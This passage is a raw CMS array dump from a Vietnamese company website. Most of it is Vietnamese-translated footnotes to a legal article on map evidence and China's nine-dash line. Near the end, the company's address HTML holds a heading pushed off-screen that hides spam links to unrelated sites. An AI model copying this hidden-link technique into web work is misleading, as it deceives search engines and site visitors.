decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví dụ về các vụ liên quan một phần đến các tranh chấp trên biển, supra note 58 citing a passage from Frontier Dispute (Burkina Faso/Republic of Mali) (which is a territorial case).</div> <div> 80. Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 stating: ‘‘only with the greatest caution can account be taken of maps in deciding a question of sovereignty’’, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para.</div> <div> </div> <div> [77] Island of Palmas Case (Netherlands v. U.S.A.), Award of 4 April 1928, [2006] II Reports of International Arbitral Awards 829 at 852–3 nêu: “Chỉ với sự thận trọng lớn nhất các bản đồ có thể được xét tới trong việc quyết định vấn đề chủ quyền”, reaffirmed in Nicaragua v. Honduras, supra note 58 at 58, para. 214; Territorial Sovereignty and Scope of the Dispute (Eritrea/Yemen), Decision of 9 October 1998, [2006] XXII Reports of International Arbitral Awards 209 at 296, para. 388, nêu: “như trong tất cả các trường hợp về bản đồ, bằng chứng phải được xử lý thât tinh tế”. For an opposing view calling into question the reluctant approach of international adjudicators vis-à-vis cartographic evidence, see Romulo R. UBAY Jr, ‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám 